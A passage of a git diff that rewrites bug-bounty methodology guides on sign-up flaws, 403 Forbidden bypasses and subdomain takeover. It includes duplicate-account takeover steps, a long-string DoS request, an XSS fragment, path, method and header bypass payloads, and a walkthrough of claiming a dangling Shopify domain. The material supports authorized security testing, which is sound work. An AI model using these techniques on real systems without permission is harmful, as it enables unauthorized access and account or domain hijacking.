-1\. Capture the signup request and send it to Intruder. -2\. Add different emails as payload . -3\. Fire up Intruder, And check whether it returns 200 OK. - - -> Further Read -> [https://hackerone.com/reports/905692](https://hackerone.com/reports/905692) -> [https://hackerone.com/reports/97609](https://hackerone.com/reports/97609) -> [https://hackerone.com/reports/262830](https://hackerone.com/reports/262830) - -#### 5\. Insufficient Email Verification. - -Insufficient Email Verification means the application doesn’t verify the email id or the verification mechanism is too weak to be bypassed. You can easily Bypass Email Verification with some of the following common methods like: - -1. Forced Browsing. (directly navigating to files which comes after verifying the email) -2. Response or Status Code Manipulation. (Replacing the bad response status like 403 to 200 can be useful) -3. There are much more ways of bypassing . **Tip**: Just google it. -#### Email verification bypass after signup:- +# Hunting for Bugs in the Sign-Up Feature + +The registration flow is the one place where attackers get to be *unauthenticated yet write to the database* — creating users, picking usernames, injecting payloads before any session exists. Bugs here seed takeover, phishing, spam, and path-hijacking issues, so signup deserves its own mini-methodology. Typical impact spans stored XSS, account collision takeover, enumeration, and resource abuse. + +Sign-up generally comes in two flavors: **Manual** (name/email/password forms) and **Social/OAuth**. This document focuses on manual signup; OAuth signup bugs are covered in `OAuth/`. + +## Hunting Checklist + +1. Enumerate every signup input (username, email, phone, name, DOB, password fields, free-text "how did you hear about us") and note where each value later renders. +2. Test uniqueness of identity fields: register with the same email/username/phone again; try case and whitespace variants (`Abc@gmail.com`, `abc @gmail.com`, unicode look-alikes). +3. Test duplicate-account *takeover*: after a second signup with the same email, log in with each credential set and see which one wins. +4. Fuzz length limits: submit very long strings (≈100k chars) in name/password to probe hashing/service DoS. +5. Inject HTML/JS payloads into every field and check reflection in-app **and in emails** (welcome mail, admin notifications). +6. Check rate limiting on the signup endpoint (mass fake-account creation). +7. Audit email verification: can you reach settings or privileged pages while unverified? Can a stale link verify a changed email? (Full matrix in `Broken_Auth_And_Session_Management/Session_based_bugs.md`.) +8. If profiles live at `target.tld/{username}`, register reserved/system filenames as usernames (path overwrite/hijack). +9. Inspect the signup request/response for extra parameters worth tampering with (role, verified, plan) and secrets leaked in responses. +10. Verify weak password policy + username enumeration feedback ("account exists", different error strings). + +## Test Cases & Examples + +### 1. Duplicate Registration / Overwrite Existing User +1. Create an account with `abc@gmail.com` + Password-1. +2. Log out and register again with `abc@gmail.com` + Password-2 (try case variants: `Abc@gmail.com`). +3. If creation succeeds, log in with each password — observe which account/identity is actually reached. +- Impact: two profiles sharing one identity, or silent overwrite of the existing user's credentials → ATO. +- Further read: [H1 #187714](https://hackerone.com/reports/187714), [Duplicate Registration: The Twinning Twins](https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf), [UAO via Signup](https://blog.securitybreached.org/2020/01/22/user-account-takeover-via-signup-feature-bug-bounty-poc/) + +### 2. DoS on Name/Password Fields (Long-String) +A 100,000-character string can exhaust CPU/memory in a weak hashing implementation when the form is submitted. +1. Fill the signup form; paste a very long string into the password (and name) field. +2. Submit — a `500 Internal Server Error` (or multi-second hang) indicates the hash step is DoS-able. +```http +POST /signup HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +name=AAAA…(100000 chars)&email=x@x.io&password=BBBB…(100000 chars) +``` +```bash +python3 -c "print('A'*100000)" # generate the payload string +``` +- Further read: [Long String DoS](https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0), [H1 #738569](https://hackerone.com/reports/738569), [H1 #223854](https://hackerone.com/reports/223854) +### 3. (Stored) XSS in Registration Fields +Inject into username/email fields and watch where they render (profile pages, admin panels, emails): +```html + ``` -1. Sing up on the web application as attacker@mail.com -2. You will receive a confirmation email on attacker@mail.com, do not open that link now. -3. The application may ask for confirming your email, check if it allows navigating to account settings page. -4. On settings page check if you can change the email. -5. If allowed, change the email to victim@mail.com. -6. Now you will be asked to confirm victim@mail.com by opening the confirmation link received on victim@mail.com, insted of opening the new link go to attacker@mail.com inbox and open the previous received link. -7. If the application verifies vitim@mail.com by using perivious verification link received on attacker mail, then this is a email verification bypass. +```text +">"@x.y ``` -> Further Read -> [https://hackerone.com/reports/1040047](https://hackerone.com/reports/1040047) -> [https://hackerone.com/reports/617896](https://hackerone.com/reports/617896) -> [https://hackerone.com/reports/737169](https://hackerone.com/reports/737169) +- Further read: [H1 #196989](https://hackerone.com/reports/196989), [H1 #470206](https://hackerone.com/reports/470206), [H1 #119090](https://hackerone.com/reports/119090); also `HTML_Injection/HTML_Injection_on_password_reset_page.md`. + +### 4. No Rate Limit at Signup +Mass fake accounts pollute the database, abuse trials/referral programs, and enable spam. +1. Capture the signup request, send to Intruder. +2. Payload a fresh email (use `payloads`/gagarin-style addresses) per request. +3. Fire — sustained `200 OK` creations = missing rate limit. +```http +POST /signup HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +email=fake+1@mailinator.io&username=user1&password=Str0ngPass! +``` +- Further read: [H1 #905692](https://hackerone.com/reports/905692), [H1 #97609](https://hackerone.com/reports/97609), [H1 #262830](https://hackerone.com/reports/262830) + +### 5. Insufficient Email Verification +Applications that don't verify the email (or weakly) can usually be bypassed via: +1. **Forced browsing** — navigate directly to post-verification pages/endpoints. +2. **Response/status-code manipulation** — flip a `403` "verify your email" response to `200`. +3. Stale-link reuse / email round-trip tricks (detailed in `Broken_Auth_And_Session_Management/Session_based_bugs.md` §4–5). + +POC — verification bypass after signup: +1. Sign up as `attacker@mail.com`; receive the confirmation email, **don't** open the link. +2. Check whether the app still lets you reach the account-settings page while unverified. +3. In settings, change the email to `victim@mail.com`; you're asked to confirm the new address. +4. Instead of opening the *new* link, open the *old* confirmation link from the attacker inbox. +5. If that marks `victim@mail.com` as verified, that's an email-verification bypass. +- Further read: [H1 #1040047](https://hackerone.com/reports/1040047), [H1 #617896](https://hackerone.com/reports/617896), [H1 #737169](https://hackerone.com/reports/737169) + +### 6. Path Overwrite / Profile Page Hijack +If profiles are served at `target.tld/{username}`, register system-reserved filenames: +```http +POST /signup HTTP/1.1 + +username=index.php +``` +```text +https://target.tld/index.php ← attacker's profile occupies the app page +https://target.tld/login.php ← imagine the login page "taken over" +``` +- Further read: [Logical Flaw Resulting in Path Hijacking](https://infosecwriteups.com/logical-flaw-resulting-path-hijacking-dd4d1e1e832f) + +## Bypass Techniques -#### 6\. Path Overwrite +- Email normalization to duplicate accounts: `+`, dots, case, trailing whitespace, IDN homophones. +- If signup blocks a payload, try storage transforms: double URL-encode, overlong UTF-8, or split the payload across first/last name. +- Weak/missing password policy: pair with login rate-limit absence per `Account_Takeovers_Methodologies/Account_Takeovers_Methods.md` §2. -If an application allows users to check their profile with direct path /{username} always try to signup with system reserved file names, such as index.php, signup.php, login.php, etc. In some cases what happens here is, when you signup with username: `index.php`, now upon visiting target.tld/index.php, your profile will comeup and occupy the index.php page of an application. Similarly, if an attacker is able to signup with username `login.php`, Imagine login page getting takeovered. +## Tools & Resources -> Further Read: -https://infosecwriteups.com/logical-flaw-resulting-path-hijacking-dd4d1e1e832f - -**_Thanks for Reading. Any Suggestions are always welcomed!!_** +- Burp Suite (Intruder + `payloads` lists), browser dev tools for reflection checks, mailinator/1secmail for throwaway inboxes. +- Repo images: `Sign_Up_Functionality/Signup_Mindmap.png`. +- Related: `XSS/Xss.md`, `Authentication_Bypass/OTP_Bypass.md`, `Weak_Password_Policy/Weak_password_policy.md`. -## Sources:- +## Report Tips -+ https://twitter.com/kushagrasarathe/status/1385111472385060867?s=19 +- For duplicate registration, prove which login wins and what data of the first user is exposed — "registered twice" alone gets debated. +- Signup XSS is far stronger when shown in an **admin/victim** context (welcome email render, back-office user list) than self-XSS. +- Rate-limit findings need counts: "created 500 accounts in 4 minutes with no CAPTCHA/throttle/referral abuse". -## Author:- +## Credits -+ @Kushagra Sarathe - [Twitter](https://twitter.com/kushagrasarathe) & [GitHub](https://github.com/kushagrasarathe) -+ @Sm4rty - [Twitter](https://twitter.com/Sm4rty\_) , [LinkedIn](https://www.linkedin.com/in/sm4rty) & [Instragram](https://www.instagram.com/sm4rty) +- [Kushagra Sarathe](https://twitter.com/kushagrasarathe) / ([GitHub](https://github.com/kushagrasarathe)), [Sm4rty](https://twitter.com/Sm4rty_) / ([LinkedIn](https://www.linkedin.com/in/sm4rty)); source tip: [tweet](https://twitter.com/kushagrasarathe/status/1385111472385060867). diff --git a/Status_Code_Bypass/403Bypass.md b/Status_Code_Bypass/403Bypass.md index 64f93fff..b86527be 100644 --- a/Status_Code_Bypass/403Bypass.md +++ b/Status_Code_Bypass/403Bypass.md @@ -1,51 +1,99 @@ -## 403 Bypass -I am sharing all this tips and techniques from my own personal experience there no official references for that +# 403 Forbidden Bypass -### Directory Based -If you see directory with no slash at end then do these acts there -``` -site.com/secret => 403 -site.com/secret/* => 200 -site.com/secret/./ => 200 -``` -### File Base -If you see file without any slash at end then do these acts there +403/401 responses often come from a path-matching layer (WAF, nginx/Apache rule, framework filter) that parses the URI differently than the backend serving it — so "forbidden" endpoints like `/admin`, `/secret.txt`, or actuator/debug routes can still be reached with path, protocol, or header trickery. This class of bug is a direct improper-access-control finding and frequently leaks admin functionality or sensitive files. + +Comprehensive header list for this attack family: [WAF_Bypass_Using_headers.md](../WAF_Bypasses/WAF_Bypass_Using_headers.md) · Index/mind maps: [README.md](./README.md) + +## Hunting Checklist + +1. Note *which layer* returns the 403 (WAF page vs. app page vs. server default) — headers/status/body shape tell you where to attack. +2. Path-shape tricks: for directories without trailing slash try `/*` and `/./`; for files try a trailing slash and encoded-separator prefixes. +3. Protocol trick: request the same path over `http://` when `https://` is blocked (and vice-versa). +4. Verb trick: retry the blocked path as `POST`, `HEAD`, `OPTIONS`, `PUT`, or `PATCH`. +5. Header tricks: add `X-Forwarded-For: 127.0.0.1` and friends (`Client-IP`, `X-Real-IP`, `X-Custom-IP-Authorization`) for IP-gated rules; `X-Original-Url`/`X-Rewrite-Url` for routing gaps (see Host-Header doc). +6. Case and encoding noise: `/Admin`, `/%61dmin`, `/admin.`, `/admin;`, `/..;/admin`, trailing `.`. +7. Automation: run 4-ZERO-3 / 403bypasser over your 403 list, then **verify each hit manually** — compare against a known-200 baseline page to be sure it's the real resource, not an error template. +8. Always keep a PoC screenshot/video: 403 bypasses live or die on reproducible before/after evidence. + +## Test Cases & Examples + +### Directory based (no trailing slash) + +```text +site.com/secret => 403 +site.com/secret/* => 200 +site.com/secret/./ => 200 ``` -site.com/secret.txt => 403 -site.com/secret.txt/ => 200 + +### File based (no trailing slash) + +```text +site.com/secret.txt => 403 +site.com/secret.txt/ => 200 site.com/%2f/secret.txt/ => 200 ``` -### Protocol Base -Well, sound wired but check out the example for better understanding -``` + +### Protocol based + +Sounds wired, but check the example: + +```text https://site.com/secret => 403 -http://site.com/secret => 200 -``` -## Payloads +http://site.com/secret => 200 ``` + +### Path payload list + +```text / /* /%2f/ /./ -./. +./ /*/ ``` -### Header -[https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/](https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/) + +Applied: + +```http +GET /secret/* HTTP/1.1 +Host: site.com ``` + +### Header-based (IP-restriction bypass) + +Reference: [Bypassing 403 to access an admin console endpoint](https://observationsinsecurity.com/2020-08-09/bypassing-403-to-get-access-to-an-admin-console-endpoints/) + +```http +GET /admin-console HTTP/1.1 +Host: site.com X-Forwarded-For: 127.0.0.1 ``` -### Tools -Here is a Tool I found on twitter. -* [https://github.com/yunemse48/403bypasser](https://github.com/yunemse48/403bypasser) -* [https://github.com/Dheerajmadhukar/4-ZERO-3](https://github.com/Dheerajmadhukar/4-ZERO-3) +### Method switch + +```bash +curl -s -o /dev/null -w '%{http_code}\n' -X POST https://site.com/secret +``` + +## Bypass Techniques + +- **Parser mismatch** (the whole game): WAF/proxy normalizes away `*`, `.` segments, `%2f`, `;` — the backend resolves them to the protected resource (all directory/file payloads above exploit this). +- **IP allowlist trust headers:** `X-Forwarded-For`, `X-Real-IP`, `Client-IP`, `X-Originating-IP`, `X-Remote-IP`, `X-Custom-IP-Authorization` — try them individually; one trusted hop can flip the rule (full list in the WAF headers doc). +- **Routing headers:** `X-Original-Url: /admin`, `X-Rewrite-Url: /admin/login` (Host-Header doc, item 9). +- **HTTP verb/protocol surface:** rules often bind to `GET` + `https` only; re-test with other methods/schemes. +- **Extension/content-type dressing:** `/admin.json`, `/admin.css`, `/admin..;/` confuse suffix-matching ACLs (framework-dependent). + +## Tools & Resources -## Proof Of Concept -Well Always look for some references or proof of concept if someone sharing any tips so you may confirm you are not wasting your time at all. -I have some poc video on my YouTube channel for 403 and other Improper access control bugs with those methods. You can check them +- [403bypasser](https://github.com/yunemse48/403bypasser) · [4-ZERO-3](https://github.com/Dheerajmadhukar/4-ZERO-3) +- Payload wordlists: PayloadsAllTheThings [Bypass 404 – 403 – 401](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Bypass%20404-403-401) +- Mind maps & Twitter tip galleries: [README.md](./README.md) +- PoC videos (403 & improper access control): YouTube [Mehedi Hasan Remon](https://www.youtube.com/channel/UCF_yxU7acxUojiGiOAMafQQ/videos?view_as=subscriber) +- Authors: **[@remonsec](https://twitter.com/remonsec)**, **[@KathanP19](https://twitter.com/KathanP19)** ("shared from personal experience — no official references for some tips") -YouTube: [Mehedi Hasan Remon](https://www.youtube.com/channel/UCF_yxU7acxUojiGiOAMafQQ/videos?view_as=subscriber) +## Report Tips -Author:[@remonsec](https://twitter.com/remonsec) - [@KathanP19](https://twitter.com/KathanP19) +- Prove it's the *same protected resource*: show 403 baseline vs. bypassed 200 with identical content (hash/screenshot diff), plus one sensitive element (admin form, data field) to kill "custom error page" pushback. +- State the bypass class (path normalization, trust header, method) and the layer at fault — it maps to a one-line fix (normalization at WAF, exact-match allowlist) and reads as a proper access-control finding. +- If multiple protected endpoints are reachable via one rule gap, list them all with codes; breadth of access is the severity driver. diff --git a/Status_Code_Bypass/README.md b/Status_Code_Bypass/README.md index 215ba239..95eccbf4 100644 --- a/Status_Code_Bypass/README.md +++ b/Status_Code_Bypass/README.md @@ -1,20 +1,33 @@ -# Some Mind Maps --------- +# Status Code Bypass — Index + +Short index of this folder: status-code access-control bypass techniques (403/401/404), plus mind maps and tip galleries. + +## Contents + +- **[403 Bypass](./403Bypass.md)** — main doc: directory/file/protocol-based bypasses, payloads, tools, and PoC guidance. + +## Mind Maps & Tip Galleries + ### 403 Mindmap -![https://pbs.twimg.com/media/EWmW9-tWkAA4vLs?format=jpg&name=900x900](https://pbs.twimg.com/media/EWmW9-tWkAA4vLs?format=jpg&name=900x900) -### Source -* [https://twitter.com/hackerscrolls/status/1254701239360720900](https://twitter.com/hackerscrolls/status/1254701239360720900) ---- +![403 mindmap](https://pbs.twimg.com/media/EWmW9-tWkAA4vLs?format=jpg&name=900x900) + +Source: https://twitter.com/hackerscrolls/status/1254701239360720900 + ### Few Twitter Tips -![https://pbs.twimg.com/media/EheFZJvVgAEuzZ1?format=png&name=small](https://pbs.twimg.com/media/EheFZJvVgAEuzZ1?format=png&name=small) -* [https://twitter.com/iam_j0ker/status/1303658167205728256](https://twitter.com/iam_j0ker/status/1303658167205728256) ---- + +![403 tips](https://pbs.twimg.com/media/EheFZJvVgAEuzZ1?format=png&name=small) + +Source: https://twitter.com/iam_j0ker/status/1303658167205728256 + ### Few More Twitter Tips -![https://pbs.twimg.com/media/EkezB9QW0AAKa-Y?format=jpg&name=medium](https://pbs.twimg.com/media/EkezB9QW0AAKa-Y?format=jpg&name=medium) -![https://pbs.twimg.com/media/EkezB9VXUAYttBU?format=jpg&name=large](https://pbs.twimg.com/media/EkezB9VXUAYttBU?format=jpg&name=large) -![https://pbs.twimg.com/media/EkezB9LX0AA8DET?format=jpg&name=large](https://pbs.twimg.com/media/EkezB9LX0AA8DET?format=jpg&name=large) -* [https://twitter.com/h4x0r_dz/status/1317218511937261570](https://twitter.com/h4x0r_dz/status/1317218511937261570) ---- + +![403 tips 1](https://pbs.twimg.com/media/EkezB9QW0AAKa-Y?format=jpg&name=medium) +![403 tips 2](https://pbs.twimg.com/media/EkezB9VXUAYttBU?format=jpg&name=large) +![403 tips 3](https://pbs.twimg.com/media/EkezB9LX0AA8DET?format=jpg&name=large) + +Source: https://twitter.com/h4x0r_dz/status/1317218511937261570 + ### Author + * [KathanP19](https://twitter.com/KathanP19) diff --git a/Subdomain_Takeover/Easy_Methods.md b/Subdomain_Takeover/Easy_Methods.md index 6419b12f..de50333a 100644 --- a/Subdomain_Takeover/Easy_Methods.md +++ b/Subdomain_Takeover/Easy_Methods.md @@ -1,47 +1,77 @@ -# 1. Method by [@Virdoex_hunter](https://twitter.com/Virdoex_hunter) -Easy Subdomain Takeover Method -``` -Step: - -1:Grab all subdomains of target. i.e, subfinder -d flaws.cloud | tee -a domains.txt - -2:Run this one liner - -3:cat domains.txt | while read domain;do dig $domain;done | tee -a digs.txt - -4::Grab all the CNAME Entries i.e, cat digs.txt | grep CNAME - -5:Find a domain that is pointed to third party domain like sub.exampple.com CNAME x.aws.com - -6:Check wheather the main subdomain is down - -7:Go to host provider where the domain is pointed to and register that domain if you registered congrats you have takeover the subdomain. - +# Subdomain Takeover — Easy Methods (Quick Wins) + +A fast, tool-driven path to subdomain takeover findings: enumerate → dig CNAMEs → let a scanner claim-check them. These two community methods are deliberately minimal — full background, fingerprints, and proof-of-takeover etiquette live in `Subdomain_Takeover.md`; the advanced wildcard/TLD variant is in `Sub_or_top_level_domain_takeover.md`. Typical impact/severity when a method lands: High–Critical (attacker content on trusted origin). + +## Hunting Checklist + +1. Grab all subdomains of the target. +2. Resolve them and pull the CNAME entries. +3. Keep only records pointing at a third-party provider (e.g. `sub.example.com CNAME x.aws.com`). +4. Check whether the resource/subdomain is actually down (unclaimed) — provider error page = candidate. +5. Register/claim the target on the host provider; if it accepts your claim, you have taken over the subdomain. PoC it cleanly and report. + +## Test Cases & Examples + +### Method 1 — by @Virdoex_hunter + +```bash +# 1) grab all subdomains, e.g. +subfinder -d flaws.cloud | tee -a domains.txt + +# 2-3) one-liner: resolve every host and capture the output +cat domains.txt | while read domain; do dig $domain; done | tee -a digs.txt + +# 4) grab all the CNAME entries +cat digs.txt | grep CNAME + +# 5) find a domain pointed to a third-party domain, e.g. +# sub.example.com CNAME x.aws.com +# 6) check whether the main subdomain is down +# 7) go to the host provider the CNAME points to and register the resource — +# if you registered it, congrats: you have taken over the subdomain. ``` -# 2. Method by [@WhoIs1nVok3r](https://twitter.com/WhoIs1nVok3r) +### Method 2 — by @WhoIs1nVok3r + +```bash +# Step-1: collect all subdomains (assetfinder, subfinder, chaos — needs API key) +assetfinder --subsidiary target.com > unresolved +subfinder -d target.com >> unresolved + +# Step-2: sort out duplicate URLs +cat unresolved | sort -u | tee -a resolved + +# Step-3: pass to a takeover scanner (subzy, subjack, ...) +subzy -targets resolved + +# Step-4 (alternative): probe the live hosts, then run templates +cat resolved | httpx | tee -a hosts +cat hosts | nuclei -t nuclei-templates/vulnerabilities -o nuclei.txt -v ``` -Step-1:- First of all collect all subdomain of the target using assetfinder,subfinder,chaos(needs API key). -Step-2:- Next sort out duplicate URLs using -- cat unresolved | sort -u | tee -a resolved +## Bypass Techniques -Step-3:- Pass it to subzy,subjack or other subdomain-takeover tool -- using subzy tool -- subzy -targets resolved , or use subjack +Not the focus here — the quick wins mostly *miss* when: wildcard CNAMEs mask dangling names, providers require multi-step ownership verification, or the CNAME target is a purchasable external domain. Those cases go to the main guide (Bypass section) and the TLD doc. -Step-4:- We can also use nuclei templates but we need to first use httpx -- cat resolved | httpx | tee -a hosts +## Tools & Resources -Step-5:- Next use nuclei-templates -- cat hosts | nuclei -t nuclei-templates/vulnerabilites -o nuclei.txt -v +From Method 2 (all Project Discovery unless noted): -Tools Used:- +- https://github.com/projectdiscovery/nuclei +- https://github.com/projectdiscovery/subfinder +- https://github.com/projectdiscovery/httpx +- https://github.com/projectdiscovery/nuclei-templates +- https://github.com/projectdiscovery/chaos-client +- https://github.com/haccer/subjack +- https://github.com/LukaSikic/subzy -https://github.com/projectdiscovery/nuclei -https://github.com/projectdiscovery/subfinder -https://github.com/projectdiscovery/httpx -https://github.com/projectdiscovery/nuclei-templates -https://github.com/projectdiscovery/chaos-client -https://github.com/haccer/subjack -https://github.com/LukaSikic/subzy -``` +Plus `dig` (bind-utils) and can-i-take-over-xyz from the main guide. + +## Report Tips + +- Even for a "quick win", the report needs: the enum command/output snippet, the CNAME line, the provider's unclaimed error page, and your claimed PoC page + release confirmation. +- Never auto-claim at scale (mass `subzy` then mass registration): claim one, report, stop — bulk registration trips legal review on most programs. + +## Author -## Author -* [@Virdoex_hunter](https://twitter.com/Virdoex_hunter) -* [@WhoIs1nVok3r](https://twitter.com/WhoIs1nVok3r) +[@Virdoex_hunter](https://twitter.com/Virdoex_hunter) · [@WhoIs1nVok3r](https://twitter.com/WhoIs1nVok3r) diff --git a/Subdomain_Takeover/Sub_or_top_level_domain_takeover.md b/Subdomain_Takeover/Sub_or_top_level_domain_takeover.md index 2d724525..5c38d34a 100644 --- a/Subdomain_Takeover/Sub_or_top_level_domain_takeover.md +++ b/Subdomain_Takeover/Sub_or_top_level_domain_takeover.md @@ -1,72 +1,81 @@ -# Subs or Top level Domain +# Sub / Top-Level Domain Takeover (Dangling CNAME & A Records) -- CNAME Record 0r A Record —> Points to third party services +The advanced tier of takeover hunting: the DNS entry — a **CNAME *or* a plain A record** — points at a third-party service (or a purchasable domain) that nobody owns anymore, so the *entire hostname*, up to the apex, becomes claimable. Unlike a stale app on one subdomain, this vector reaches top-level hosts and wildcard labels, enabling perfect phishing clones on the real domain plus cookie theft from the parent zone. Severity: Critical. -- Check: -``` - for take-overs is to query a list of domains and check for any that are either: - - 1. attached to a third party domain or destination via the use of a cname record +## Hunting Checklist - 2.return a 404 not found error. +1. For each host, query the record type and follow it to the provider: - example : domain that resolved to a CloudFront domain which gave the following error: "Error the request could not be satisfied, generated by CloudFront (CloudFront)" +```bash +host www.target.com +dig www.target.com ANY +noall +answer +whois # map A records to known provider IP ranges ``` -### Technical Detail -- This attack vector utilizes DNS entries pointing to Service Providers where the pointed subdomain is currently not in use -- Service providers : -``` - Heroku, Github, Bitbucket, Squarespace, Shopify, Desk, Teamwork, Unbounce, Helpjuice, HelpScout, Pingdom, Tictail, Campaign Monitor, CargoCollective, [StatusPage.io](http://statuspage.io/) and Tumblr. -``` -### Impact +2. Flag hosts that are either: + 1. attached to a third-party domain/destination via a **CNAME** record, or + 2. return a **404 Not Found** error. + Example: a domain resolving to a CloudFront distribution serving: -- Attacker can now build a complete clone of the real site, add a login form, redirect the user, steal credentials (e.g. admin accounts), cookies and/or completely destroy business credibility for your company. -- Another senario: -``` - 1. A Domain Owner points their * (wildcard) DNS-entry to e.g. Heroku. - 2. They forget to add the wildcard-entry to their Heroku-app. - 3. Attacker can now claim any subdomain they want from the Domain Owner. - 4. A Domain Owner will be unaware of the subdomain being exploited. +```text +Error The request could not be satisfied - generated by CloudFront (CloudFront) ``` -- In the not so rare case, the attacker can also “inherit” the Domain Owner’s Wildcard SSL used inside the Service Provider. -### Exploit +3. Match the destination against the known claimable-service providers list (Test Cases below) and check the service's signup/claim flow. +4. For A records: identify the owning provider from the IP (whois/known ranges — e.g. Shopify's IPs) and look for their "unclaimed store/app" placeholder pages. +5. Check the CNAME's *target domain* registration status — expired-but-purchasable targets hand you every subdomain pointing at them. +6. Sweep wildcard zones (`*.target.com`) as a whole: one claim can cover arbitrary labels. +7. Claim (trial/free account is usually enough), connect the hostname as proof, and report immediately — do not leave the claim running. -- Claim CloudFront: -``` - Singup to AWS —> head over CloudFront signup -``` -### Remediation -``` - - Check your DNS-configuration for subdomains pointing to services not in use. - - Set up your external service so it fully listens to your wildcard DNS. In Heroku’s case, this means running the following command in your App: heroku domains:add *.[example.com](http://example.com/) -``` -### Reference -- Detectify article :[https://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/](https://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/) -- Zsec Blog: [https://blog.zsec.uk/subdomainhijack/](https://blog.zsec.uk/subdomainhijack/) +## Test Cases & Examples + +**Service providers historically claimable this way** (kept as the original fingerprint list): -### POC +```text +Heroku, Github, Bitbucket, Squarespace, Shopify, Desk, Teamwork, Unbounce, Helpjuice, HelpScout, Pingdom, Tictail, Campaign Monitor, CargoCollective, StatusPage.io and Tumblr. ``` -- I found a website, for now call it [www.target.com](http://www.target.com) -- I went to terminal and run a host command on that target -host www.target.com +**Impact:** -- it was pointing its 'A' record to 23.227.38.65 this IP -- Now i knew that this IP belongs to shopify cause i had setup a shop on shopify few days back (you can also go and check with whois record for this ip) -- I opened the website [www.target.com](http://www.target.com) , I found there shopify template stating "only one step left to finish setting" (In some cases : it also state Sorry this shop is unavailable) -- Now i knew what i have to do, i sing-up on shopify with trial account, after that i put the same target website name, it gave me error stating application name already exist, so put target.com as a name, finally it was created. -- I went to setting, it shows me two option "connect your domain automatically" and "connect you domain manually" -- I choose first one automatic one, just put that domain [www.target.com](http://www.target.com) , it got connected. We are done, now we owns this top level domain. -``` -### Analysis -``` -- The person registered this domain name from godaddy , and configured its DNS record pointing to shopify IP -- Either he might had forgotten to create a shop or he had created a shop used it for a while then deleted that shop from shopify but didn't removed the DNS entry pointing to shopify's IP +- The attacker can build a complete clone of the real site, add a login form, redirect users, steal credentials (e.g. admin accounts) and cookies, and/or completely destroy business credibility. +- Another scenario — the wildcard race: + 1. A domain owner points their `*` (wildcard) DNS entry to e.g. Heroku. + 2. They forget to add the wildcard entry to their Heroku app. + 3. The attacker can now claim **any** subdomain of that owner. + 4. The owner remains unaware of the exploited subdomain. +- In the not-so-rare case, the attacker can also **inherit the domain owner's wildcard SSL** used inside the service provider. + +**Exploit sketch — claim CloudFront:** sign up to AWS → head over to the CloudFront setup and add the dangling hostname as an alternate domain once the previous distribution is gone. + +## Bypass Techniques + +- **Apex not covered by "subdomain" scope filters:** test the bare domain and non-obvious labels (`shop.`, `de.`, country codes) — the original writeup landed a **top-level** domain this way. +- Providers that reject immediate claims may accept them after a delay or via a different account tier (trial/free accounts suffice for Shopify/Heroku-style claims) — the check is whether the *hostname* is verified, not the account. +- If the A record points into a provider's shared-IP pool, the "site" slot behind that IP (e.g. an unassigned store) is the claimable resource — browse the IP/hostname directly to see its placeholder state. + +## Tools & Resources + +- **POC (from the original writeup):** `host www.target.com` showed the **A record** pointing to `23.227.38.65` — a Shopify IP (verifiable via whois). Opening `http://www.target.com` served the Shopify template: *"only one step left to finish setting"* (in some cases: *"Sorry this shop is unavailable"*). Signup on a Shopify trial → set the same shop name (taken → used `target.com` instead) → Settings → **"connect your domain automatically"** → entered `www.target.com` → connected. That's it: the top-level domain was owned. +- **Analysis:** the owner registered the domain at GoDaddy and pointed its DNS at Shopify's IP, then either never finished creating the shop or deleted the shop **without removing the DNS entry**. +- Detectify: [Hostile Subdomain Takeover — Heroku/GitHub/Desk + more](https://labs.detectify.com/2014-10-21/hostile-subdomain-takeover-using-herokugithubdesk-more/) +- ZSec: [Subdomain Hijacking](https://blog.zsec.uk/subdomainhijack/) +- Companion docs: `Subdomain_Takeover.md` (process), `Easy_Methods.md` (one-liners). + +**Remediation (for the report):** + +- Check the DNS configuration for subdomains pointing to services no longer in use. +- Set up the external service so it fully listens to your wildcard DNS — in Heroku's case: + +```bash +heroku domains:add *.example.com ``` -** Pardon for any spelling or grammar mistake ** +## Report Tips + +- Wildcard + unclaimed provider = "any label is attacker-controlled, silently" — demonstrate **one** harmless label (e.g. `randomwords.target.com`) and state the wildcard scope; that's what earns Critical. +- Show the inherited-SSL/cookie-scope angle: valid TLS for the parent zone and `Domain=.target.com` session theft turn a "parked page" into credential-scale impact. +- Release/delete the claim and include the timestamp in the report — programs act fastest when cleanup is already done. + +## Author -### Author: -- Twitter Id: @Zero0x00 +[@Zero0x00](https://twitter.com/Zero0x00) diff --git a/Subdomain_Takeover/Subdomain_Takeover.md b/Subdomain_Takeover/Subdomain_Takeover.md index fae6ef52..4489f2fb 100644 --- a/Subdomain_Takeover/Subdomain_Takeover.md +++ b/Subdomain_Takeover/Subdomain_Takeover.md @@ -1,77 +1,96 @@ # Subdomain Takeover -## Basics +A subdomain maps (via DNS) to a third-party service — Azure, AWS, Heroku, GitHub, Fastly, Shopify, etc. — using a CNAME record. If the company cancels the third-party subscription but forgets to remove the DNS record, anyone who claims the target resource on the provider gains full control over that subdomain. Impact is severe: attacker-controlled content on a trusted corporate origin — phishing, cookie/session theft against the parent domain, credential harvesting, and brand damage. Severity is usually High/Critical; it is one of the most reliably paid "free" bug classes. -### DNS -![DNS](dns.png) -* When a web address is accessed eg. "www.xyz.com", a DNS query is performed across a DNS server with the host name. -* The DNS server takes the hostname and resolves it into a numeric IP address +## Hunting Checklist -### CNAME -![CNAME](cname.png) -* An alias of domain name to another domain name -* In the example below, xyz.company.com is a source domain and xyz.cloudservice.com is a canonical domain name. +1. **Enumerate subdomains** broadly (brute force + cert transparency + passive sources): Assetfinder, Subfinder, Findomain, plus Chaos/CT logs. +2. **Resolve everything and collect CNAME/A targets** — see commands under Test Cases (also in the companion `Easy_Methods.md` one-liner flow). +3. **Keep records that point to known third-party providers** (fingerprint list in `Sub_or_top_level_domain_takeover.md`; canonical list in can-i-take-over-xyz) and note the "safe load / error" status of the provider. +4. **Look for dead-end responses**: 404/"no such app"/"domain is not correctly configured"-class provider errors mean nobody claimed the resource. +5. **Cross-check with takeover scanners** (Subjack, SubOver, subzy, nuclei takeover templates) — then verify manually. +6. **Check the CNAME's target domain itself** for availability: some subdomains point to *purchasable* domains (see Case below). +7. **Prove it**: claim the resource (or register the CNAME domain where in-scope/allowed), host a harmless 